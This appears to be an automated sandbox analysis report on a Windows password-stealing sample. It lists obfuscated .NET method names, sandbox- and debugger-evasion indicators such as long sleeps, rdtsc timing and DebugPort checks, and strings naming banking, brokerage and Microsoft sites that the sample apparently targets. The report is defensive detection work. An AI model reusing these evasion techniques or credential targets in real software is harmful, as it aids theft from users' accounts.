Source: 1.2.SecuriteInfo.com.Win32.PWSX-gen.5935.26892.exe.3b653d0.3.raw.unpack, esyRUSq3UCcw6sE1wj.cs High entropy of concatenated method names: 'OYoVXPA4jX', 'gpKVBuYrlQ', 'ToString', 'SWKVArwoMT', 'bq2VcwTZo7', 'qv3VkvSIsC', 'HnHVxsT4yO', 'ptfVExKKkq', 'qcyVYQmTID', 'Rd8V1mIV9X'
Source: 1.2.SecuriteInfo.com.Win32.PWSX-gen.5935.26892.exe.3b653d0.3.raw.unpack, VHfRq0HqNqtPW0SGpx.cs High entropy of concatenated method names: 'jYPJI4qnof', 'bwVJgn46ah', 'PAkJHwwxfp', 'xiyJFyJFa3', 'm7qJ2sfaQn', 'K5IJfHIau7', 'HT4JwkVggJ', 'iIMJnsAfIq', 'i1VJO18ePt', 'dLhJvCy0Y3'
Source: 1.2.SecuriteInfo.com.Win32.PWSX-gen.5935.26892.exe.3b653d0.3.raw.unpack, PXlk924oCeKYXVAnNpu.cs High entropy of concatenated method names: 'CjslZgBR4s', 'mpmljJYOS1', 'IyBlt7dquc', 'FnQBNCx9DR37G1T9Yl0', 'h09afVx5ONvlhjfOWBo', 'z2ZmCPxd6txkfq0qAgb', 'nTL3BlxMc7OhrlkRWYE'
Source: 1.2.SecuriteInfo.com.Win32.PWSX-gen.5935.26892.exe.3b653d0.3.raw.unpack, mSshRlcW2qucGFTdko.cs High entropy of concatenated method names: 'Dispose', 'wWe4CMLc8a', 'yWuo2CL90a', 'hwdVVvvZFx', 'VZJ4eOAJgF', 'A424zmYCld', 'ProcessDialogKey', 'L5Tob1FD9I', 'Qo6o4UXhDo', 'yMooodPenp'
Source: 1.2.SecuriteInfo.com.Win32.PWSX-gen.5935.26892.exe.3b653d0.3.raw.unpack, Jl1V7QafY1neIdGa5i.cs High entropy of concatenated method names: 'sPBkPIJQa3', 'cu9kN55Oa4', 'SVDk8GmY8v', 'ANckavPY9x', 'T9BkJJCtQ5', 'bTCkWPIqrY', 'qOjkVkgTGF', 'KUukiCjG7E', 'P7FkTyVTFL', 'dW7klkpTrx'
Source: 1.2.SecuriteInfo.com.Win32.PWSX-gen.5935.26892.exe.3b653d0.3.raw.unpack, xJOAJg5FP42mYCldv5.cs High entropy of concatenated method names: 'QKIiABVeox', 'blXicnDkpI', 'h8QikadTpK', 'TOAixosmmH', 'OrYiEm2Bj6', 'NR6iYbg0VE', 'LC0i1QMeLQ', 's4ciL8xIhu', 'lt4iXIYfny', 'xwNiBEWCTt'
Source: 1.2.SecuriteInfo.com.Win32.PWSX-gen.5935.26892.exe.3b653d0.3.raw.unpack, PINpdL8SXJLETTYyWE.cs High entropy of concatenated method names: 'n7VcHFCGCL', 'lGLcFdkoRq', 'YdRcmUJbi0', 'nSUcqLRnCR', 'jhacs1AeXW', 'hGpc3WMxsO', 'b9gcG447tF', 'mchc5VxZyB', 'PJkcCi5Kc1', 'tXvcecESle'
Source: 1.2.SecuriteInfo.com.Win32.PWSX-gen.5935.26892.exe.3b653d0.3.raw.unpack, doUTYW4UFG2LXBkVpAU.cs High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'dqRlHpxMwP', 'ynElFXLEZq', 'CvMlm4C0TG', 'miulq7Vhh3', 'Me0lsS6e4O', 'fRTl3jSKvh', 'lwQlGT6D3P'
Source: 1.2.SecuriteInfo.com.Win32.PWSX-gen.5935.26892.exe.3b653d0.3.raw.unpack, A7Z7dH3kJ5v66tBWyV.cs High entropy of concatenated method names: 'hMUV5AYjBQ', 'qwwVeutlI6', 'Tt3ibsPxaq', 'bj4i4CLBYn', 'hyiVpR7UfI', 'cO8VgWjuW0', 'bCcVyPwcE2', 'NQHVHF2JuY', 'PIKVFrKeMB', 'uepVm0jdpE'
Source: 1.2.SecuriteInfo.com.Win32.PWSX-gen.5935.26892.exe.3b653d0.3.raw.unpack, i56cev0dgHrQlwWWMC.cs High entropy of concatenated method names: 'eblxhq8epV', 'pHMxdMMQ4B', 'ctPkfRpfQB', 't3CkwxbXTn', 'RJyknxVTDc', 'yk3kO2VjLO', 'O2NkvIy9g5', 'y97kRYQfFR', 'GlPkK74PZr', 'R0ukIvSiAe'
Source: 1.2.SecuriteInfo.com.Win32.PWSX-gen.5935.26892.exe.70e0000.5.raw.unpack, uYXuZ9K6IiZTIIDVPg.cs High entropy of concatenated method names: 'nr1YZ1HlOg', 'iIQYj21uU5', 'bj6YtBnwc1', 'CwcYPVmFMa', 'nqPYhEpVHS', 'IhcYNwpkjr', 'GxIYdVXCDK', 's3nY87sWGS', 'ziMYaV9k1S', 'iQBY04qrPS'
Source: 1.2.SecuriteInfo.com.Win32.PWSX-gen.5935.26892.exe.70e0000.5.raw.unpack, IMNCQYvhG2mTFn6YH0.cs High entropy of concatenated method names: 'BNTYArquJC', 'woPYkrVX3r', 'J27YExxxHw', 'fO9EeLPYx9', 'ndDEzF9Wea', 'JxUYbS1yIe', 'ie6Y4KBB82', 'vKxYoZhDFi', 'THGYUtFl5i', 'erJY6hXG3V'
Source: 1.2.SecuriteInfo.com.Win32.PWSX-gen.5935.26892.exe.70e0000.5.raw.unpack, puGWVvzA3ZU0FnuTuw.cs High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'HXaTuQ4p1m', 'kj4TJsKFQC', 'l02TWknflK', 'kEuTVd9FU4', 'LjeTi0lrVn', 'gSYTTDKkow', 'zm6Tl8hkP8'
Source: 1.2.SecuriteInfo.com.Win32.PWSX-gen.5935.26892.exe.70e0000.5.raw.unpack, Tkm1FQoJXjSe5Kch9N.cs High entropy of concatenated method names: 'S5EtrrymP', 'O1sPK7AEt', 'XK9NLdDtw', 'c2wdcUGGM', 'JqQaAvOvs', 'kwZ0FJ27C', 'megUC1d4OsXfbXsZUu', 'VEdddJMipL6FpD4uia', 'PqqiHUObT', 'Nnml5M0vB'
Source: 1.2.SecuriteInfo.com.Win32.PWSX-gen.5935.26892.exe.70e0000.5.raw.unpack, c8piciyR2j0q4SGkCM.cs High entropy of concatenated method names: 'ldku8NIeWw', 'sW3uaqptrT', 'IkEu91FU5d', 's8Ru2wh0tV', 'L2FuwWtZxa', 'PFuunq2ERV', 'EsJuvnkBZq', 'cFvuRO4q0x', 'TtHuIb3XB9', 'nRwupuvVfd'
Source: 1.2.SecuriteInfo.com.Win32.PWSX-gen.5935.26892.exe.70e0000.5.raw.unpack, DlydcY9M1aH1FkL51P.cs High entropy of concatenated method names: 'AwmEMPmltg', 'SBDEcf0VBX', 'OQYEx0yBnK', 'aNUEY2JaqQ', 'fA1E12fPoZ', 'PAixsinG4L', 'ce2x3xMZns', 'YYuxGw4Kg4', 'qB8x5lqOKy', 'TlTxCFfOy0'
Source: 1.2.SecuriteInfo.com.Win32.PWSX-gen.5935.26892.exe.70e0000.5.raw.unpack, SVIu1P4bWislm5PsElm.cs High entropy of concatenated method names: 'EIxTZwkPab', 'uwWTjSawqk', 'AafTtc4mKv', 'uG7TPSPBpO', 'WhKThuSQ4Q', 'bmeTNPAPlX', 'm65Td5DjMM', 'qkxT8yMA5L', 'eTlTaNQwTS', 'fvOT03tP22'
Source: 1.2.SecuriteInfo.com.Win32.PWSX-gen.5935.26892.exe.70e0000.5.raw.unpack, oqdT4v69d290QQjoZ5.cs High entropy of concatenated method names: 'GLg4YINpdL', 'vXJ41LETTY', 'vfY4X1neId', 'Wa54BiE56c', 'IWW4JMC8ly', 'DcY4WM1aH1', 'Pq65qSfFAxyAWTnlKJ', 't9rl18n2yApUcXxWu9', 'QI0aSHZYo5QQPIs5It', 'nu5446rcAc'
Source: 1.2.SecuriteInfo.com.Win32.PWSX-gen.5935.26892.exe.70e0000.5.raw.unpack, r1FD9ICyo6UXhDojMo.cs High entropy of concatenated method names: 'Dvgi9gpJF9', 'be2i2Pqm5r', 'CIoifcPjSr', 'LfviwKVA2M', 'GfliHEJS3i', 'hlPind8CIX', 'Next', 'Next', 'Next', 'NextBytes'
Source: 1.2.SecuriteInfo.com.Win32.PWSX-gen.5935.26892.exe.70e0000.5.raw.unpack, CPenpXevZsZaJcgU4m.cs High entropy of concatenated method names: 'xCjT4cH7rU', 'lReTU9GcrP', 'RFeT6YNStN', 'kjlTA3A0Ia', 'R1mTcORsS1', 'peoTx2F8uS', 'ClJTE5qWRW', 'MjuiGRg1Ga', 'oU4i560SNo', 'i0MiCUBhDC'
Source: 1.2.SecuriteInfo.com.Win32.PWSX-gen.5935.26892.exe.70e0000.5.raw.unpack, XnaYTu1vnvGWdWi0bF.cs High entropy of concatenated method names: 'LEIUMX1TZd', 'rMKUAyLLVR', 'GYvUca2RnP', 'R0OUkEEPow', 'zADUxVtpk7', 'YYKUEPwwHC', 'c67UYCMjES', 'BYxU1yuP8U', 'oGqULvUPXD', 'JeCUXV0VbW'
Source: 1.2.SecuriteInfo.com.Win32.PWSX-gen.5935.26892.exe.70e0000.5.raw.unpack, esyRUSq3UCcw6sE1wj.cs High entropy of concatenated method names: 'OYoVXPA4jX', 'gpKVBuYrlQ', 'ToString', 'SWKVArwoMT', 'bq2VcwTZo7', 'qv3VkvSIsC', 'HnHVxsT4yO', 'ptfVExKKkq', 'qcyVYQmTID', 'Rd8V1mIV9X'
Source: 1.2.SecuriteInfo.com.Win32.PWSX-gen.5935.26892.exe.70e0000.5.raw.unpack, VHfRq0HqNqtPW0SGpx.cs High entropy of concatenated method names: 'jYPJI4qnof', 'bwVJgn46ah', 'PAkJHwwxfp', 'xiyJFyJFa3', 'm7qJ2sfaQn', 'K5IJfHIau7', 'HT4JwkVggJ', 'iIMJnsAfIq', 'i1VJO18ePt', 'dLhJvCy0Y3'
Source: 1.2.SecuriteInfo.com.Win32.PWSX-gen.5935.26892.exe.70e0000.5.raw.unpack, PXlk924oCeKYXVAnNpu.cs High entropy of concatenated method names: 'CjslZgBR4s', 'mpmljJYOS1', 'IyBlt7dquc', 'FnQBNCx9DR37G1T9Yl0', 'h09afVx5ONvlhjfOWBo', 'z2ZmCPxd6txkfq0qAgb', 'nTL3BlxMc7OhrlkRWYE'
Source: 1.2.SecuriteInfo.com.Win32.PWSX-gen.5935.26892.exe.70e0000.5.raw.unpack, mSshRlcW2qucGFTdko.cs High entropy of concatenated method names: 'Dispose', 'wWe4CMLc8a', 'yWuo2CL90a', 'hwdVVvvZFx', 'VZJ4eOAJgF', 'A424zmYCld', 'ProcessDialogKey', 'L5Tob1FD9I', 'Qo6o4UXhDo', 'yMooodPenp'
Source: 1.2.SecuriteInfo.com.Win32.PWSX-gen.5935.26892.exe.70e0000.5.raw.unpack, Jl1V7QafY1neIdGa5i.cs High entropy of concatenated method names: 'sPBkPIJQa3', 'cu9kN55Oa4', 'SVDk8GmY8v', 'ANckavPY9x', 'T9BkJJCtQ5', 'bTCkWPIqrY', 'qOjkVkgTGF', 'KUukiCjG7E', 'P7FkTyVTFL', 'dW7klkpTrx'
Source: 1.2.SecuriteInfo.com.Win32.PWSX-gen.5935.26892.exe.70e0000.5.raw.unpack, xJOAJg5FP42mYCldv5.cs High entropy of concatenated method names: 'QKIiABVeox', 'blXicnDkpI', 'h8QikadTpK', 'TOAixosmmH', 'OrYiEm2Bj6', 'NR6iYbg0VE', 'LC0i1QMeLQ', 's4ciL8xIhu', 'lt4iXIYfny', 'xwNiBEWCTt'
Source: 1.2.SecuriteInfo.com.Win32.PWSX-gen.5935.26892.exe.70e0000.5.raw.unpack, PINpdL8SXJLETTYyWE.cs High entropy of concatenated method names: 'n7VcHFCGCL', 'lGLcFdkoRq', 'YdRcmUJbi0', 'nSUcqLRnCR', 'jhacs1AeXW', 'hGpc3WMxsO', 'b9gcG447tF', 'mchc5VxZyB', 'PJkcCi5Kc1', 'tXvcecESle'
Source: 1.2.SecuriteInfo.com.Win32.PWSX-gen.5935.26892.exe.70e0000.5.raw.unpack, doUTYW4UFG2LXBkVpAU.cs High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'dqRlHpxMwP', 'ynElFXLEZq', 'CvMlm4C0TG', 'miulq7Vhh3', 'Me0lsS6e4O', 'fRTl3jSKvh', 'lwQlGT6D3P'
Source: 1.2.SecuriteInfo.com.Win32.PWSX-gen.5935.26892.exe.70e0000.5.raw.unpack, A7Z7dH3kJ5v66tBWyV.cs High entropy of concatenated method names: 'hMUV5AYjBQ', 'qwwVeutlI6', 'Tt3ibsPxaq', 'bj4i4CLBYn', 'hyiVpR7UfI', 'cO8VgWjuW0', 'bCcVyPwcE2', 'NQHVHF2JuY', 'PIKVFrKeMB', 'uepVm0jdpE'
Source: 1.2.SecuriteInfo.com.Win32.PWSX-gen.5935.26892.exe.70e0000.5.raw.unpack, i56cev0dgHrQlwWWMC.cs High entropy of concatenated method names: 'eblxhq8epV', 'pHMxdMMQ4B', 'ctPkfRpfQB', 't3CkwxbXTn', 'RJyknxVTDc', 'yk3kO2VjLO', 'O2NkvIy9g5', 'y97kRYQfFR', 'GlPkK74PZr', 'R0ukIvSiAe'
Source: 1.2.SecuriteInfo.com.Win32.PWSX-gen.5935.26892.exe.7a00000.6.raw.unpack, R87QTajabri3WprdxA.cs High entropy of concatenated method names: 'SoFXXYTXBr', 'VXePqW7LxoGttIrQMM', 'VJKqh4rSy8UE5CPs2d', 'w7T6rNymrPsVe05ZjX', 'Qa5usbZfG', 'UsaN6r2JI', 'Dispose', 'xdE70OV1R', 'WKG8Nh2TLfQX7DMBJq', 'FCyDZoO16YhsTUYx7V'
Source: 1.2.SecuriteInfo.com.Win32.PWSX-gen.5935.26892.exe.7a00000.6.raw.unpack, I1Ds3abkUA5mh3kywv.cs High entropy of concatenated method names: 'I6pnpGMEc', 'pUPSoKeTB', 'w3OonGh86', 'S3aaCOvyF', 'MagvcleIh', 'hvmph4XfL', 'eXtqEM8mO', 'RC38AH4Bb', 'hyVW2X9uL', 'AbHynsT40'
Source: 1.2.SecuriteInfo.com.Win32.PWSX-gen.5935.26892.exe.7a00000.6.raw.unpack, AJO8kvyDr8qxYWB5Qt.cs High entropy of concatenated method names: 'sRJJ4PC1lt6MgSX9oLN', 'qCuPUJCYMdGJYrcKdqj', 'T9OMNMJAsS', 'KH71sVC96gudd8OjhqS', 'qSoaq8CnboJYXbPCm1H', 'XtbiVDCeUWVlZdG2V08', 'D2TFRiCIaLSytg31rTE', 'MtxGm4CM57HGXUKQMIN', 'RgtTUJcyZL', 'eFmMT9Tlnp'
Source: 1.2.SecuriteInfo.com.Win32.PWSX-gen.5935.26892.exe.7a00000.6.raw.unpack, QEHxtuXFnnkJABhbAo.cs High entropy of concatenated method names: 'Geosg7Hdn', 'wwIBOnTmd', 'siWV4YECO', 'k32FNitut', 'cUAG5mh3k', 'JwvHwu9Dw', 'cr1hyajqeLqaQ4F9dK', 'Pgut89mcfAIn6Hs5oN', 'Dispose', 'MoveNext'
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.5935.26892.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.5935.26892.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.5935.26892.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.5935.26892.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.5935.26892.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.5935.26892.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.5935.26892.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.5935.26892.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.5935.26892.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.5935.26892.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.5935.26892.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.5935.26892.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.5935.26892.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.5935.26892.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.5935.26892.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.5935.26892.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.5935.26892.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.5935.26892.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.5935.26892.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.5935.26892.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.5935.26892.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.5935.26892.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.5935.26892.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.5935.26892.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.5935.26892.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.5935.26892.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.5935.26892.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.5935.26892.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.5935.26892.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.5935.26892.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.5935.26892.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.5935.26892.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.5935.26892.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.5935.26892.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.5935.26892.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.5935.26892.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.5935.26892.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.5935.26892.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.5935.26892.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.5935.26892.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\newdev.exe Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\newdev.exe Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\newdev.exe Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\newdev.exe Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\newdev.exe Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX Jump to behavior
Allocates memory with a write watch (potentially for evading sandboxes)
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.5935.26892.exe Memory allocated: D00000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.5935.26892.exe Memory allocated: 2760000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.5935.26892.exe Memory allocated: 4760000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.5935.26892.exe Memory allocated: 7B20000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.5935.26892.exe Memory allocated: 8B20000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.5935.26892.exe Memory allocated: 8CF0000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.5935.26892.exe Memory allocated: 9CF0000 memory reserve | memory write watch Jump to behavior
Contains functionality for execution timing, often used to detect debuggers
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0122096E rdtsc 3_2_0122096E
Contains long sleeps (>= 3 min)
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.5935.26892.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Source: C:\Windows\SysWOW64\newdev.exe Window / User API: threadDelayed 1190 Jump to behavior
Source: C:\Windows\SysWOW64\newdev.exe Window / User API: threadDelayed 8783 Jump to behavior
Found large amount of non-executed APIs
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe API coverage: 1.3 %
Source: C:\Windows\SysWOW64\newdev.exe API coverage: 3.0 %
May sleep (evasive loops) to hinder dynamic analysis
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.5935.26892.exe TID: 7064 Thread sleep time: -922337203685477s >= -30000s Jump to behavior
Source: C:\Windows\SysWOW64\newdev.exe TID: 4144 Thread sleep count: 1190 > 30 Jump to behavior
Source: C:\Windows\SysWOW64\newdev.exe TID: 4144 Thread sleep time: -2380000s >= -30000s Jump to behavior
Source: C:\Windows\SysWOW64\newdev.exe TID: 4144 Thread sleep count: 8783 > 30 Jump to behavior
Source: C:\Windows\SysWOW64\newdev.exe TID: 4144 Thread sleep time: -17566000s >= -30000s Jump to behavior
Source: C:\Program Files (x86)\ZdaPUhlzBlXbWOwBxOnWpBGfYGMYcyBBWJfcIoTArBuWqqgNCw\TEDSEqbHCFz.exe TID: 2872 Thread sleep time: -95000s >= -30000s Jump to behavior
Source: C:\Program Files (x86)\ZdaPUhlzBlXbWOwBxOnWpBGfYGMYcyBBWJfcIoTArBuWqqgNCw\TEDSEqbHCFz.exe TID: 2872 Thread sleep count: 54 > 30 Jump to behavior
Source: C:\Program Files (x86)\ZdaPUhlzBlXbWOwBxOnWpBGfYGMYcyBBWJfcIoTArBuWqqgNCw\TEDSEqbHCFz.exe TID: 2872 Thread sleep time: -54000s >= -30000s Jump to behavior
Source: C:\Program Files (x86)\ZdaPUhlzBlXbWOwBxOnWpBGfYGMYcyBBWJfcIoTArBuWqqgNCw\TEDSEqbHCFz.exe TID: 2872 Thread sleep time: -39000s >= -30000s Jump to behavior
Sample execution stops while process was sleeping (likely an evasion)
Source: C:\Windows\SysWOW64\newdev.exe Last function: Thread delayed
Source: C:\Windows\SysWOW64\newdev.exe Last function: Thread delayed
Source: C:\Windows\SysWOW64\newdev.exe Code function: 5_2_0073CCB0 FindFirstFileW,FindNextFileW,FindClose, 5_2_0073CCB0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.5935.26892.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: 0100I4.5.dr Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696487552
Source: 0100I4.5.dr Binary or memory string: secure.bankofamerica.comVMware20,11696487552|UE
Source: 0100I4.5.dr Binary or memory string: account.microsoft.com/profileVMware20,11696487552u
Source: 0100I4.5.dr Binary or memory string: discord.comVMware20,11696487552f
Source: 0100I4.5.dr Binary or memory string: bankofamerica.comVMware20,11696487552x
Source: TEDSEqbHCFz.exe, 00000006.00000002.4541974137.000000000112F000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllN
Source: 0100I4.5.dr Binary or memory string: www.interactivebrokers.comVMware20,11696487552}
Source: 0100I4.5.dr Binary or memory string: ms.portal.azure.comVMware20,11696487552
Source: 0100I4.5.dr Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552
Source: 0100I4.5.dr Binary or memory string: Interactive Brokers - COM.HKVMware20,11696487552
Source: 0100I4.5.dr Binary or memory string: global block list test formVMware20,11696487552
Source: 0100I4.5.dr Binary or memory string: tasks.office.comVMware20,11696487552o
Source: 0100I4.5.dr Binary or memory string: AMC password management pageVMware20,11696487552
Source: 0100I4.5.dr Binary or memory string: interactivebrokers.co.inVMware20,11696487552d
Source: newdev.exe, 00000005.00000002.4540353437.0000000002D28000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: 0100I4.5.dr Binary or memory string: interactivebrokers.comVMware20,11696487552
Source: 0100I4.5.dr Binary or memory string: dev.azure.comVMware20,11696487552j
Source: 0100I4.5.dr Binary or memory string: Interactive Brokers - HKVMware20,11696487552]
Source: 0100I4.5.dr Binary or memory string: microsoft.visualstudio.comVMware20,11696487552x
Source: 0100I4.5.dr Binary or memory string: netportal.hdfcbank.comVMware20,11696487552
Source: 0100I4.5.dr Binary or memory string: trackpan.utiitsl.comVMware20,11696487552h
Source: 0100I4.5.dr Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696487552z
Source: 0100I4.5.dr Binary or memory string: www.interactivebrokers.co.inVMware20,11696487552~
Source: 0100I4.5.dr Binary or memory string: outlook.office365.comVMware20,11696487552t
Source: 0100I4.5.dr Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552^
Source: 0100I4.5.dr Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696487552p
Source: 0100I4.5.dr Binary or memory string: Interactive Brokers - EU WestVMware20,11696487552n
Source: 0100I4.5.dr Binary or memory string: outlook.office.comVMware20,11696487552s
Source: SecuriteInfo.com.Win32.PWSX-gen.5935.26892.exe, 00000001.00000002.2099093438.0000000002866000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: Vmci@\
Source: 0100I4.5.dr Binary or memory string: Test URL for global passwords blocklistVMware20,11696487552
Source: 0100I4.5.dr Binary or memory string: turbotax.intuit.comVMware20,11696487552t
Source: 0100I4.5.dr Binary or memory string: Canara Transaction PasswordVMware20,11696487552x
Source: 0100I4.5.dr Binary or memory string: Canara Transaction PasswordVMware20,11696487552}
Source: 0100I4.5.dr Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696487552
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.5935.26892.exe Process information queried: ProcessInformation Jump to behavior
Checks if the current process is being debugged
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Process queried: DebugPort Jump to behavior
Source: C:\Windows\SysWOW64\newdev.exe Process queried: DebugPort Jump to behavior
Contains functionality for execution timing, often used to detect debuggers
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0122096E rdtsc 3_2_0122096E
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_004188E3 LdrLoadDll, 3_2_004188E3
Contains functionality to read the PEB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01210124 mov eax, dword ptr fs:[00000030h] 3_2_01210124
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0128E10E mov eax, dword ptr fs:[00000030h] 3_2_0128E10E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0128E10E mov ecx, dword ptr fs:[00000030h] 3_2_0128E10E
